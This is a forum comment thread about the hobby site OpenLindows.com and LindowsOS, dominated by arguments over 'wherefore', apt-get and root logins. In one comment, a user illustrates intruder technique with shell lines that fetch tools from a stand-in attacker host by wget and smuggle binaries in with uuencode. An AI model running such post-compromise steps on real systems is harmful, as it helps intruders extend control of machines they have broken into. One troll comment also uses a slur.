OpenLindows.com: Wherefore Art Thou?

Joe Barr writes "I ran across a curious website recently: OpenLindows.com. The name alone intrigued me. It gave rise to speculation about a weird mix of free-as-in-beer and free-as-in-speech alternative to the $99/year Click-N-Run software subscription offered by LindowsOS, the most Windows-like/proprietary Linux distribution out there. This is a report on what I found, and perhaps even more importantly, what I didn't."

Comments

OpenLindows.com?

[dzym]

Surely the best thing to do with that domain is to redirect it to www.debian.org? Or maybe knoppix.org at a pinch.

Re:OpenLindows.com?

[Anonymous Coward]

This is informative? This should be -1, Troll.

Just because these guys choose not to run your idea of an uber-distribution does not mean that it's no good. These openlindows.com people should be commended for trying to bring the best of the linux community to the lindows buyers. Comments like: "UR dist SUXOR, debian RULEZ!!1!!|" are the worst thing about the linux community, and these kinds of comments should be viewed as what they are.

Re:OpenLindows.com?

[Anonymous Coward]

n00b, lindows is based on debian.

Re:OpenLindows.com?

[HiThere]

Actually, he has it almost right.

There's nothing stoping you from running apt-get on Lindows, except lack of knowledge. What you end up with is Lindows with some Debian packages installed. Not Debian.

Personally, I don't think that any distro that encourages people to run as root deserves to live, but that's the main fault of Lindows. And that was a conscious choice. They did include apt-get, so there's no problem with upgrading from Debian. So you can't either fault Lindows for crippling their distro, or fault /.ers for suggesting that they redirect their /etc/apt/sources.list to Debian. It's a reasonable approach.

FWIW: I currently use LibraNet Linux. Another distribution that's essentially Linux. And I have more Debian links in my apt sources than I do LibraNet. In fact, it installed itself that way. But I have the LibraNet sources listed first, which means that if there's a version on the LibraNet site, that's the one that gets picked.

Re:OpenLindows.com?

[The Almighty Dave]

Another distribution that's essentially Linux.

It's funny how many Linux distributions are essentially Linux.

Re:OpenLindows.com?

[HiThere]

Mea culpa. I should really copy-edit more carefully.

Re:OpenLindows.com?

[netean]

personally I'd NEVER ever consider NOT running as root. Why on earth should I be hassled for a password everytime I want to do something remotely useful.

Re:OpenLindows.com?

[oshy]

the knoppix.org site is down at the moment due to a protest at software patents.

makes a change from being down due to /.ing

sheesh

[Anonymous Coward]

"Wherefore" means "why," not "where." When Shakespeare wrote, "Wherefore art thou Romeo?" he was saying, "Why are you 'Romeo?'" As in, "Why did you have to be born the son of my father's enemy?"

Basic literacy, you know?

Re:sheesh

[mcse_knowthyenemy]

Cat beat me to it.

One wonders why the /. "pre-post inspectors" did not catch this...

Re:sheesh

[Anonymous Coward]

"Why art though" is exactly what the article title is supposed to mean. We already know WHERE it is - it's at www.openlindows.com. Yeesh.

Re:sheesh

[The Unabageler]

maybe it's meant as in

"Why did you have to be born the community of an non-communal linux distro?"

BTFOOM

Re:sheesh

[The Unabageler]

or maybe, "why are you existing when you have no users?"

Re:sheesh

[NanoGator]

"Wherefore" means "why," not "where." When Shakespeare wrote, "Wherefore art thou Romeo?" he was saying, "Why are you 'Romeo?'" As in, "Why did you have to be born the son of my father's enemy?"

Well the article's been slashdotted, so all I have to go by is the submission itself. Given the author's comment about the site being OpenLindows, yet the OS is proprietary, I'd say his use of wherefore is bang on.

Couldn't take a moment to make sure your assumption wasn't ill based?

Re:sheesh

[kst]

It's a pity that people think the word 'where' means 'where' instead of 'why' these days.

Yes, 'where' means 'where', and 'why' means 'why'.

'Wherefore' is a different word. You can tell by the extra 4 letters at the end.

No, it's not commonly used these days; probably the vast majority of uses are quoting that line from "Romeo and Juliet". ("art" and "thou" aren't very common either, but people don't seem to have much trouble with them.)

If you're interested (or even if you're not), the word "wherefore" is closely related to "therefore", which is still in common use.

I'm not going to argue that anyone who doesn't know what "wherefore" means is illiterate, but don't you think knowing what is means is better than not knowing what it means?

Re:sheesh

[jdray]

"...should get off their embiggened asses..."

In this context, shouldn't it be "arses?"

Re:sheesh

[finkployd]

Actually it is used correctly in this case. We know where openlindows.com is (hint, the name is also a location. Or uniform resource locator as we say in the biz), the author is lamenting its ties to a proprietary software company. As in "the name openlindows.com has such potential, why were you born into the family of my enemy".

So one point for you for knowing the correct usage of wherefore, minus one point for not noticing that it was actually used correctly here.

You currently have zero points. Would you like to play again (y/n) ?

Finkployd

Re:sheesh

[Doomdark]

Perhaps, but one should not use words one does not understand. So, if you want to mean "where", use word "where", not "wherefore". Especially when latter means something else than what you naively assumed.

Re:sheesh

[Quickening]

funny sig! was that a reference to Demolition Man?

Re:sheesh

[Red Warrior]

"art" and "thou" aren't very common either, but people don't seem to have much trouble with them.)

Art? That's pictures of naked chicks. No?

Re:sheesh

[fireman sam]

That word you use... you use it a lot... I do not think it means what you think it means.

Re:sheesh

[NanoGator]

"I'm not going to argue that anyone who doesn't know what "wherefore" means is illiterate, but don't you think knowing what is means is better than not knowing what it means? "

Not when people use it as a way of measuring one's intelligence. I think that's what caused AnonV to go off here. Never mind how understandable the mistake is, anybody who says wherefore doesn't mean why is an idiot. I, for one, will be quite happy when that aspect of our personalities goes extinct.

Re:sheesh

[Anonvmous Coward]

"funny sig! was that a reference to Demolition Man?"

Yep! Though I still haven't found a way to work Stallone's swearing to get some make-shift toilet paper into it.

Re:sheesh

[NanoGator]

"It cracks me up that the parent was modded as 'Offtopic' where the same comments below (in multiple posts) are +4 informative & insigtful. "

Why? Parent poster was trolling about a whoop-de-doo aspect of the post. The people who replied gave other people info to learn from.

What's so funny about it working exactly the way it should?

Re:sheesh

[Anonymous Coward]

"wherefore" is a cromulent word.

Re:sheesh

[NanoGator]

"Yeah because wherefore is in such common use in modern dialect. It's a pity that people think the word 'where' means 'where' instead of 'why' these days. Ignorant fools, they should get off their embiggened asses and study an extinct style of communication. "

Gotta love the way he worked 'embiggened' into that post.

Re:sheesh

[rleibman]

A big question of course, is why Shakespeare didn't instead say "Romeo, oh romeo, wherefore are though Montague?". Much clearer. I highly recommend this season's version of R&J at the Oregon Shakespeare Festival.

Re:sheesh

[uncoveror]

Familiarity with archaic forms of English that no one uses any more is only basic literacy to you? The vast majority of English speakers are illiterate by that standard. Are you a college professor?

Re:sheesh

[justinburt]

Wow, that is much better. Fits with the meter and everything. Because when you think about it, why would it be a problem that he is "Romeo"? That has nothing to do with his family identity.

But what shall have to wait for another time is: what is the textual evidence for this? If it ain't Shakespeare, it ain't Shakespeare.

Yes, I do realize this will be modded Offtopic.

Justin

Re:sheesh

[rleibman]

Unfortunately I can't take take credit for it. Barry Kraft (OSF's dramaturg and a leading bard scholar) mentioned it on passing at a lecture I attended. R&J is not originally Shakespeare's, the story goes much further and even some of the text, so it is conceivable that one of those sources had something that made more sense.

Re:sheesh

[17028]

Wherefore is used in the nordic languages still. It's not spelled the same way, but it's the same origin.

Re:sheesh

[Voytek]

Yes, the vast majority of English speakers are illiterate. Is this news to you?

Re:sheesh

[uncoveror]

Yes, I read his works like anyone who went to school, and saw a few of them performed, but most people are unaware that wherefore means why. It is an archaic term that is not commonly used. By the way, before getting up on the cultural high horse, how about a spell check? It's Shakespeare, not Shakespear. Who is the shit-kicker now?

Re:sheesh

[mkldev]

Actually, it still makes a lot of sense. She's looking out of her balcony. It would make just as much sense for her to gaze out into the darkness and ask where Romeo is as it would to ask why his name is Romeo. I rather suspect Shakespeare chose that word maliciously as an "almost double-entendre" of sorts, i.e. as a sort of word play to surprise the audience. Anyway....

Re:sheesh

[kst]

Not when people use it as a way of measuring one's intelligence.

So because some people are overly critical, it's not better to know what the word means than not to know what it means?

I don't believe you meant that.

Re:sheesh

[Audity]

Inconceivable!

Re:sheesh

[NanoGator]

"So because some people are overly critical, it's not better to know what the word means than not to know what it means?"

What's the point of knowing what it means when the only use of it is to not get picked on by trivia obsessed zealots?

Re:sheesh

[Anonvmous Coward]

"Yeah because wherefore is in such common use in modern dialect. It's a pity that people think the word 'where' means 'where' instead of 'why' these days. Ignorant fools, they should get off their embiggened asses and study an extinct style of communication."

I resent being modded as flamebait for this comment. There's an important point to my little satire here. People who insult others for not being in touch with an extinct phrase in the english dialect sound like arrogant assholes.

Re:sheesh

[Bush Pig]

Although I agree with your criticism of the imeddiate parent, I think 'Shakespear' is also correct (along with about 1/2 dozen other variants - Sheikhspeer didn't spell all that well, despite writing like an angel).

Re:sheesh

[kingLatency]

"Wherefore" means "why," not "where." When Shakespeare wrote, "Wherefore art thou Romeo?" he was saying, "Why are you 'Romeo?'" As in, "Why did you have to be born the son of my father's enemy?" Basic literacy, you know? Arrogancy does not have to come along with literacy...

Re:sheesh

[mindriot]

Yes, and? The question is, "wherefore art thou?" -- in other words, "why are you?" -- which fits pretty well. Why does the site exist, practically? Wasn't that the point?

Btw, wherefore is probably related to the German "wofur" meaning "what for," as in "what's that for?" -- similar enough to "why does that exist?".

Hm. Why does /. replace the u-Umlaut in "wofur" with a regular 'u'? ..."wofuer," then. :)

Re:sheesh

[JosefK]

Who is the shit-kicker now?

That would be old Bill himse'f: http://shakespeareauthorship.com/name1.html

Re:sheesh

[geoswan]

It's not like Shakespear is the most quoted author or anything.

Yeah, but did you ever try reading any of his stuff?

Shit he must have been the world's laziest writer. His stuff is just crammed full of over-used cliches.

LOL. Just kidding

Re:sheesh

[cha0sadddddddd]

I didn't know.
now I do.
now I won't get picked on by trivia obsessed zealots.(for that)
but it is something I'd not have learned if not for trivia obsessed zealots on /. =)

knowing the difference between affect and effect is important.
knowing the difference between there and thier is important.
whowing what an important word in an important scene in an important play is ...you guessed it important.
dont shoot the messenger, just cause it makes him mad to see someone using a word incorrectly,
he then posts about it and others learn something =)

Re:sheesh

[MrBlint]

and minus another point for being such a pedantic arse

Re:sheesh

[dasmegabyte]

There are two things that bother me about people's misconceptions of Romeo and Juliet. The first is the line "Wherefore art thou, Romeo," and I can deal with it, because it's still better than people who don't understand the concept of contractions of homonyms.

The second is that people still think it's a heartwarming love story. It's not. It's a tragedy about the destruction of two feuding houses -- two families, too old to produce any more children, who lose all their kin as a result of this pairing. Whether lovesick Romeo (who immediately forgets the girl he had previously pined for when he meets a new chick who is WAY too young for him) and dutiful Juliet are truly in love is up to the interpretter, though I'd have to say in true deconstructionist spirit that there's no way. But if it were really about their "love," the story would have ended with their deaths. It continues...not merely as denoument, but to deliver the message: foolish feuding only leads to tragedy.

It's an anti-mob play, same as Julius Caeser. There's nothing romantic in the second act at all, just a lot of foolish teenage sentiment and real adult grief. Therefore, a phrase like "we're starcrossed lovers, like Romeo and Juliet," has always seemed insultingly ironic to me. Except when Milhouse said it.

Re:sheesh

[Paradise Pete]

Shit he must have been the world's laziest writer. His stuff is just crammed full of over-used cliches.

That's pretty funny. I'm going to have to steal that sometime.

awesome

[Anonymous Coward]

i ran across a couple random sites as well... why didn't my submission get posted on those?

Re:awesome

[johndoesovich]

Found another that appears to be similar to openlindows..... http://www.lycoris.com/

My experience with OpenLindows

[Anonymous Coward]

I was initially skeptical in testing lindows, but as i did it, i was surprised at what i saw.

First of all, its not really a "hack" of windows and linux, it has got its own pecularities and nuances. None of them infringe on SCO's IP rights, so you can be sure of not being hassled by them.

This apart, the greatest advantage with this system is its lack of gayness and the fact that it combines the user-friendlyness of windows and the technical gayness of linux.

I really recommend this system to anyone who is planning on getting some serious work done. It apparently doesn't appear so but I think this is the OS of the future.

Re:My experience with OpenLindows

[Anonymous Coward]

You, sir, have a beautiful mind.

Re:My experience with OpenLindows

[RagManX]

None of them infringe on SCO's IP rights, so you can be sure of not being hassled by them.

It doesn't use the standard Linux kernel? Cool.

BTW, bad troll!

RagManX

why is there a need for this?

[sujan]

dpkg + synaptic achieves pretty much what lindows is trying to market with click n' run. Save the outrageous charge to install free software, of course.

Re:why is there a need for this?

[cha0sadddddddd]

I think more people than you think would pick "core" and end up with a usable gnome.
DISCLAIMER***HAVE NOT TRIED THIS HAVE NO IDEA***
probably even do a apt-get install gnome-core gnome-common
worst case list em all.
thank god for tab filename completion
I taught the 78 year old dude next door how to run debian.
he can edit his sources.list
he can type apt-get update && apt-get dist-upgrade.
he can make cron do that for him.
most grangmas cant figure out how to get vcr to stop blinking 12:00(mine cant)
but anyone with any intrest in computing rapidly learns linux if they know where and how to look
(having someone who knows more than you start ya off doesnt hurt though)

My head hurts...

[JoeLinux]

Let's pull this apart, shall we?

This is:

A free software, providing an alternative for people who don't want to pay for an alternate Operating system utilizing free software meant to emulate a common interface on proprietary software.

Tell me, if you are tech-savvy enough to get this to work (Even as beta as it probably is), what are you doing wanting the lindows interface?

My $.02 ($.03 Canadian)

Re:My head hurts...

[Anonymous Coward]

You obviously didn't read the site. He is not trying to provide a free alternative to LindowsOS. He is not trying to circumvent Click-n-Run. All that exists on the OpenLindows.com site are pre-compiled binaries (in .deb format) that work under LindowsOS. So, if you run LindowsOS and there is a program that you want that is not in the Click-n-Run warehouse you might find it on OpenLindows.com instead. There is also some custom-written software on the site that works specifically under LindowsOS.

Jesus! You're all a bunch of morons. Read the fucking article and site first.

Wherefore != Where

[RimmerExperience]

The article points to the lack of an Open Lindows community (e.g. 'where is it'?). 'Wherefore' in Olde English...e, however, means 'why' or 'for what reason'.

Wherefore [realdictionary.com]

(Juliet laments "why are you Romeo", not "where are you Romeo?")

Re:Wherefore != Where

[BoojiBoy0]

But as others have suggested, Why does this service exist?? (who would use it?)

Re:Wherefore != Where

[LostCluster]

The thing is, lauguage evolves by errors that survive without being corrected. That is to say, if a misuse of the word gets used too much, dictionairies report that meaning has now been associated with the word, and adds it to the definition.

Re:Wherefore != Where

[Atzanteol]

Yeah, I mean what the flang was the gribbit talking about? Werds and their spellings/meanings can be changed anytime I tang well want to!

Re:Wherefore != Where

[rsidd]

To all those who argue for dictionaries incorporating wrong meanings because people use them thus, let me point out this very eloquent article.

For the language-impaired, "wherefore" has the same relationship to "therefore" as "where" has to "there". Let's keep things somewhat orderly here -- unless you argue that Juliet, spying Romeo, would say "Ah, therefore's Romeo!"

Re:Wherefore != Where

[Kjella]

Umm I didn't think much of the headline. In modern English I'd probably say it means something like "OpenLindows.com: Why do you exist?" or "To what purpose are you?", which would be in line with the standard definition. Slightly more implicitly "Why do you exist if there's no community?"

Kjella

Re:Wherefore != Where

[bperkins]

Excellent point, however your explanation of a misconception has a possible misconception.

You say "Olde English," which if one takes to mean "Old English," would refer to the English spoken by the people in Britain before 1066.

Although the word wherefore may have had Old English origins (the OED indicates that it does not), Romeo and Juliet is Elizabethan English.

Re:Wherefore != Where

[Anonym1ty]

Romeo and Juliet is Elizabethan English.

And we all love our Elizabethan English. I love that Priate Sound.

Re:Wherefore != Where

[RatBastard]

Yes, language does evolve. But pig-ignorance is not evolution.

Re:Wherefore != Where

[speck]

David Foster Wallace wrote an excellent article for Harper's a while back which described the prescriptivist / descriptivist split in more detail.

Re:Wherefore != Where

[rsidd]

Language changes - dictionaries have always been a compromise. If they weren't descriptive they'd be empty; if they weren't prescriptive there'd be no reason for them to exist at all.

They should be descriptive of conventional usage. That means not just spoken conversation and internet blogs, but books. If you misunderstand "wherefore" you misunderstand Shakespeare. Already most people can't read Shakespeare without an annotation, and I'd hate it if that fate also befell Dickens, Sherlock Holmes, etc (maybe it has already). There is a point in preserving our understanding of past literature.

Indeed, such misreadings can be dangerous: in the "biblical" passage "Thou shalt not suffer a witch to live" the word "witch" is really a mistranslation from the Hebrew of "poisoner", and look what that did to countless helpless old women in the middle ages.

If you can't handle it, there are several hundred other extant languages for you to learn and enjoy.

Actually, I suspect that as time goes by the English language, as spoken and butchered by different people over the world, will become more and more incomprehensible: I already can't understand a lot of colloquial American. When no two English speakers can understand each other, perhaps French or German will have another chance to rule the world :)

Re:Wherefore != Where

[Ch_Omega]

On a sidenote:

In Norwegian, we still use a variant of wherefore, namely "hvorfor"... "Hvor" = where, "hvorfor" = why. We also use "Derfor" = Therefore, "der" = there, etc. :)

... Modern english has borrowed more than a few words from old norse, which can be seen in the simmilarity of alot of modern Norwegian and English words, like f.eks. Norwegian word "Sky" = cloud, Norwegian word "leg", = The part of the leg that is below the knee, Norwegian word "kne" = "Knee", etc.. :)

Probably has something to do with the british islands crawling with vikings prior to 1066 or something..

Okay, I should probably go to bed now.

Re:Wherefore != Where

[chadamir]

elizabethan english is modern english, not old english. If you are going to be snappy, why don't you get your facts straight, guy?

Re:Wherefore != Where

[Bush Pig]

Thanks for the pointer to that article. I used to have that argument with my ex-wife and my sons - they're all cultural relativists and post-modernists. I got sick of arguing that words mean what they mean (although I accept that meaning can drift over a long time), and that just because people used them incorrectly, it didn't mean that the words had changed meaning - it just meant that those people were wrong.

I actually got given a slang dictionary a couple of years ago - the two nice things about it are that it _only_ has slang in it, and it has old slang (like 16th C) as well as new slang.

Re:Wherefore != Where

[Bob Uhl]

German does the same thing, with is wo- (where) and da- (there) compounds. I try to use the English where- and there- compounds as much as possible, because they are both cool and useful. I like to write therefor and wherefor instead of therefore and wherefore, though:-)

Article summary

[Fizzlewhiff]

Just so you don't have to read the whole article like I did...

There is a site called OpenLindows.org (or something like that) where Lindows users could download the same stuff Linux and BSD users can downlod. Only noone seems to know about it, or Lindows users don't care, or there aren't any Lindows users. Sorry to be so vague but I quit reading before any real conslusion was drawn because it didn't mention SCO or Kobe Bryant and I became bored.

Re:Article summary

[jared_hanson]

You're summary hit the nail on the head, and you didn't even read the entire thing!

I expect more stories like this in the future:

Joe Smith sets up a website. No one knows about it, but I happened to stumble across. I take that back, it looks like his grandma posted something here a couple of months back. He links to some weird site.

Man, how did this make Slashdot.

Re:Article summary

[heff]

thank you..finally someone who makes sense.

Re:Article summary

[fr0dicus]

Also nothing about Natalie Portman or any sign of hot grits.

:-(

Re:Article summary

[Nodatadj]

> Man, how did this make Slashdot.

Its being run by Newsforge.
Looks like OSDN needs more cross website promotions to get their ad hit rate up.
Just like that influx of articles that were subtle adverts for thinkgeek crap a few weeks ago

Re:Article summary

[jared_hanson]

One has got to wonder what price a Newsforge ad commands. I don't routinely visit, but if this counts as news, I don't plan on stopping by very often.

Re:Article summary

[happystink]

Come on, it's not like we could have found this information any other way, it's not like we have access to the internet or anything.

Next on slashdot: There's a website named Yahoo.com, I'll explain what's on the front page.

Re:Article summary

[armyofone]

Dear Mr. Coward,
Please feel free to return to slashdot after you have learned to use Google

Re:Article summary

[hesiod]

> your is shorthand for you're. reader gets the meaning from the context. get over it.

Umm, no it isn't. "Real Shorthand" has set rules, and that's not one of them. However, I agree that the context is more important than spelling accuracy.

My impression

[insecuritiez]

Was that OpenLindows was a small group (one guy?), maybe one person that didn't like the idea of having to pay for click-n-run to get many free applications. Open Lindows isn't going to take off because there's allready a website for that. www.debian.org And the few Lindows users out there that want to stick with it most likely can compile the software and so don't need OpenLindows. Nice idea though.

For us Non-Lindows people

[Dareth]

What keeps a normal Lindows user from editing their /etc/apt/sources.list and apt-get installing away?

Is there some kind of design limitation in Lindows, obscure config file layout to keep these people clickin and paying?

Re:For us Non-Lindows people

[Anonymous Coward]

No, you can plaw right ahead. That's what a lot of the thrashing in the forums is about -- windows people trying to understand how to do exactly what you just described.

Re:For us Non-Lindows people

[Craig Nagy]

RTFC C=Comments

We don't try to hide the fact that sites like this is exist in order to gain more revenue from CNR. If we wanted to do that, we'd simply make it impossible to use APT, and we don't - Apt is fully functional in LindowsOS and for those more technically inclined, they are more than welcome to use it instead of CNR if it meets their needs.

Re:For us Non-Lindows people

[LostCluster]

Smart biz move, because here were their options:

A: Sack APT, and get a backlash from opensource land.

B: Allow APT to exist, but don't give it any easier interface than what it comes with standard. Those geeky enough to understand it may have it, but those same people are likely too geeky to want to buy Lindows anyway.

Lindows' product is a closed source program that makes Linux a bit easier to use, frosted with a distribution of the open source programs it attempts to help you with. If you know enough to work around Lindows anyway... then what are you doing with Lindows in the first place?

Re:For us Non-Lindows people

[AVryhof]

On the Lindows CD I have you don't even need to edit your apt sources file, just go ahead and apt-get install all you want....just don't mess with their mighty X Display Manager or you won't be able to login to your system anymore.

I replaced all the links to Click-n-Run with Links to Synaptic, and installed Mozilla Firebird.... looks nice, works nice, but it's still no where as nice as my standard Debian install.

Re:For us Non-Lindows people

[Darth]

What keeps a normal Lindows user from editing their /etc/apt/sources.list and apt-get installing away?

lack of technical knowledge and desire to do so.

Re:For us Non-Lindows people

[Gherald]

> If you know enough to work around Lindows anyway... then what are you doing with Lindows in the first place?

Complaining about its geeklessness, what else?

Re:For us Non-Lindows people

[elgaard]

Normal Lindows users don't apt-get. CNR is simper to use than synaptic, kpackage, dselect, apt-get etc.

Technically the answer is versions and dependencies. I experienced Lindows 3 preinstalled on the laptop (http://www.agol.dk/elgaard/lindows.html). The Lindows specific programs were all cleanly installed as Debian packages, which make upgrading with apt safe and simpler. However the installed packages were an interesting mix of Debian/KDE/OO versions. Many programs were backported. I was not able to come up with a sources.list that matched what was installed and what I wanted to install. This means you get a lot of conflicts. You can resolve those, but then you end up updating _a lot_ of packages, and loosing most of the extra Lindows packages. It still works, but there really isn't much point in doing it compared to installing a fresh Debian, unless you have a preinstalled Lindows computer without floppy or CD drive.

OpenLindows packages on the other hand matches the installed Lindows packages. I started trying out OpenLindows. I downloaded OO from Openlindows, put it on a CF card, met my girlfriend with the Lindows laptop on the way to a meeting, put the CF card in the laptop (it has a CF slot), apt-get install openoffice, and it was working.

The laptop now runs debian unstable (except for Netscape), but that is just because I could do it. I liked a lot of things in Lindows (not the root thing) and $49/year (per family i think) could be worth it as long as you are not locked in---You have a way out (apt-get) if you decide it is no longer worth it.

Re:For us Non-Lindows people

[Andrewkov]

What keeps a normal Lindows user from editing their /etc/apt/sources.list and apt-get installing away?

You have to log on as root to do that .. oh, wait a sec..

Re:For us Non-Lindows people

[stm2]

What keeps a normal Lindows user from editing their /etc/apt/sources.list and apt-get installing away?

Configuring, finding out how things works, compiling , and so on takes time.
My time worth more than $49. I do prefer to pay, CNR and keep on working.

Re:For us Non-Lindows people

[eoin1]

"What keeps a normal Lindows user from editing their /etc/apt/sources.list and apt-get installing away?" A normal Lindows user probably wouldn't know that that file even exists, wouldn't know how to edit it, and definitely wouldn't know how to use apt-get, as Lindows is targeted at unskilled Linux newbies.

Re:For us Non-Lindows people

[Vaughn Anderson]

then what are you doing with Lindows in the first place?

I haven't considered it seriously until recently where I want to run a windows application on linux, but I don't have time to learn WINE and Linux... Perhaps that is a good reason.

Re:For us Non-Lindows people

[ninewands]

Quoth the poster:

B: Allow APT to exist, but don't give it any easier interface than what it comes with standard. Those geeky enough to understand it may have it, ...

Understanding "apt-get install <pkg_name> and editing /etc/apt/sources.list makes one an "Alpha Geek?" I don't fscking THINK so ... especially since there are explicit instructions what to put in /etc/apt/sources.list on the Debian website.

Now resolving dependency conflicts with RPM's ... THAT's geeky!

Community

[vosbert]

Interesting how the author mentions community. Does a great software program really need a community? Can't there just be a great product without community? I assume good software will automatically attract a community, but perhaps this is not the case anymore. Maybe it is just as important to produce a great product as it is to promote it.

Re:Community

[AVryhof]

SCO UnixWare is a good product. I have used it, and it has everything you would expect from Unix... The Company (SCO/Caldera) justr keeps beating on their community....so SCO will kill off the community for their product because of their vendetta against Linux, and end up with a great product without a community.

This is different from sourceforge?

[stratjakt]

Set up webpage

Wait for developers to create product for you

this is what the lindows.com community liason said

[atari2600]

From the article


The skinny
by LindowsBrian on 2003.08.27 15:07 (#67071)
User #183638 Info

I just contacted Joe about an hour ago and explained to him our take on this article and with Linux news in general. He was nice enough to send a very prompt reply requesting that I post here, so here goes nothing.

First of all, this article isn't FUD, as a couple of our "hardcores" seem to be claiming. I apologize for that, but I love their spunk. ;-)

I'm actually very glad to have seen this article written as Peter, the owner of LindowsDownload.com and OpenLindows.com has been very, very helpful to us in the past and has created a great site that deserves recognition.

To keep this fairly short and as interesting as possible, I'll just sum up some things real quick instead of waxing philisophical.

First off, a minor correction to the article.

1.) Lindows Plus (CNR Memberhsip) is $49.95, not $99, although it once was. Then it included commercial software as well. LindowsOS and Lindows Plus together are only $89 now.

And to respond to a few comments here:

We don't charge for the free software - We charge for the delivery service. For any Linux company to have a shot at making money, you almost have to go the services route. We also offer deep discounts on Commercial software that you can't legally obtain for free-as-in-beer.

We Do give back to the community. Our largest contribution came in the way of Wine. We contributed code as well as nearly half a million dollars. For more info:

http://www.lindows.com/contributions

Getting back to the article, we are not in any way affiliated with LindowsDownload.com, LindowsUser.com, LindowsClub.com, or OpenLindows.com, but I do have what I consider to be a good relationship with the owner.

We don't try to hide the fact that sites like this is exist in order to gain more revenue from CNR. If we wanted to do that, we'd simply make it impossible to use APT, and we don't - Apt is fully functional in LindowsOS and for those more technically inclined, they are more than welcome to use it instead of CNR if it meets their needs.

Most users of other Linux Distros have different needs and different mindsets than our users. Our users want to be able to install software at an affordable price with one-click of the mouse. They don't care if it's GPLed Software, BSD-Style software, commercial software... They simply don't care. So yes, we do market differently than most Linux companies because we are different than most Linux companies - We're going after the desktop space the MS currently owns.

I'm sure we've done some things along the way that aren't in line with most Linux companies and have upset alot of you, but I assure you we do care about the community, we give back to the community, and are currently working with some members of the Debian Community personally.

Brian Thomason
Lindows.com Community Liaison

P.S. Feel free to email be at brian.thomason@lindows.com or shoot me an IM on AIM at LindowsBrian

I hate to point out the obvious..

[Anonymous Coward]

But I think the poor chap who wrote this article found openlindows just a little too early.. Its nice of him to publicise them though, its a bit of a baptism of fire unleashing slashdot upon them so early :)

The name suggests a free version of lindows - functioning similarly. Cute but I feel sorry for the Lindows guys myself - mainly because I think they have the right idea charging for linux (to the masses, not those of us who know this type of thing) - if you know anything about marketing you will know that selling a product for free or dirt cheap price does not really equate to "trust" (and more sales) from the customers. Linux undoubtedly is currently "too good to be true" to many people who might consider the change from MS products.

Re:lindows... I still don't get it

[ccwaterz]

I'm reminded of a Fox Trot comic from a few weeks back.

free and alternative

[zerolives]

Hey! I have a free, alternative, open-source way to simulate all of the stuff in that article: smash you head in with a hammer, and then pour lemon juice on it.

Re:free and alternative

[Hatta]

Now is that free as in speech, or free as in pepper spray?

Re:lindows... I still don't get it

[thinkninja]

I understand Lindows better than OpenLindows. The WalMart bargin basement box has an interface that the average computer user (the much maligned Joe Sixpack) is familiar with. To them Windows == Computers (yes, I know this is a Bad Thing).

OpenLindows, however, seems to require as much effort as installing any other Linux distribution.

So what niche does it cater for, exactly?

S'wounds! A nit-picker you be!

[ivanmarsh]

8^)

The Lindows market.

[Anonymous Coward]

Seems to me the Lindows market is made up of non-expert users who either sick of Microsoft's inadequacies or saw a cheap PC in Walmart.
Such a user is unlikely to discover apt, so sites like OpenLindows are somewhat redundant.
This does not mean I disapprove of their existence - it's nice for someone with the know-how to have the option and it's an indicator of Lindows' good faith that they keep that option open.
Myself, I wouldn't pay to download open source packages (other than donations) so, again, if you got yourself a Lindows box the option is there.

--
fuzzix posting anon. because of dodgy karma issues :/

Re:Questions about OpenLindows

[LostCluster]

It's vaporware. RTFA.

Even more astonishing...

[jared_hanson]

I was roaming Sourceforge, and came across a curious project: Open IP PBX. It gave rise to this suspicion that I might be able to tie my two phone lines into one system. Here is a report on what I found, and more importantly, what I didn't:

I went to the website, and it was completely empty. It was your standard "index of" apache generated directory listing, with no files. Using my extensive knowledge of sourceforge, I found their project page. It looks like their is not much there, in fact, they have not even released any files. There is some stuff in CVS though. I conclude that probably not many people know about this project, or they simply aren't interested.

Re:Even more astonishing...

[lspd]

You forgot step #3

...continued...

Budget Linux CDs claims they will have a CD set available as soon as any files are released.

Re:Even more astonishing...

[don.g]

This is just as completely unrelated to OpenLindows.org, but Asterisk PBX is an open-source Linux-based PABX with IP support that is at a stage where it does useful things, as opposed to the sourceforge-project-with-Index-of-page stage.

The parent is right

[Overly Critical Guy]

"Wherefore art thou" is the most incorrectly used phrase I've ever heard.

Re:The parent is right

[Nucleon500]

Or better yet, doesn't give untrusted people physical access.

But.

[Anonymous Coward]

Are when are they going to fix the BIG security hole in Lindows, running as root by default! Its a time bomb waiting to happen. If there is going to be a LinBlaster, then Lindows will get it first.

Before you all scream "TYPE IN A CONSOLE USERADD USER", try telling that to your mum. All she wants to know is how to run frozen bubble, so therefore I sandboxed mine in Mandrake, secure, and idiotproof.

Re:But.

[WWWWolf]

If if you could break in.. you couldn't do anything because there are no dev tools.

compromised:~# wget http://l33thax0rsite.example.com/gcc-linux-binarie s.tar.gz

...if there's no wget...

haxor@leet:~$ uuencode /usr/bin/wget ...

compromised:~# cat > /tmp/wget.uue
(Copy/paste the zillion lines of text here)
compromised:~# uudecode /tmp/wget.uue ...

...if there's no uudecode, it's not that difficult to write some kind of binary encoder/decoder, even in shell script...

Don't worry. As long as the hax0r has the shell, there's always some way he can do stuff on that machine.

Too bad removing /bin/sh entirely is not quite feasible...

clarifications

[pistooli]

:-) openlindows.com is just a hobby where is can put my own applications... lindowsdownload.com is just a small place where you can get binaries for lindows os. nothing less, nothing more... cheers - pistooli ( a long time GNU/Linux and debian user )

Two words

[Broken_Windows]

vi /etc/apt/sources.list



!wq

Re:Two words

[finkployd]

vi /etc/apt/sources.list


It saddens me to think that I too consider those to be two actual words.

(one point for me for correctly using to, too, and two in one sentance)

Finkployd

Re:Two words

[spickus]

"(one point for me for correctly using to, too, and two in one sentance)"

Congratulations, perhaps next time you will spell sentence correctly.

Re:Two words

[finkployd]

I didn't want to get greedy, there are only so many points to go around.

Finkployd

Re:Two words

[cha0sadddddddd]

<offtopic>
cant use vi
cant use emacs
is there a compelling reason to learn either or?
I mean is there something I can do I cant do with nano grep awk cat sed ...etc?
other than shell scripts i do not (know how to yet)code.
</offtopic>

Where do they get the titles anyway?

[Frank O. File]

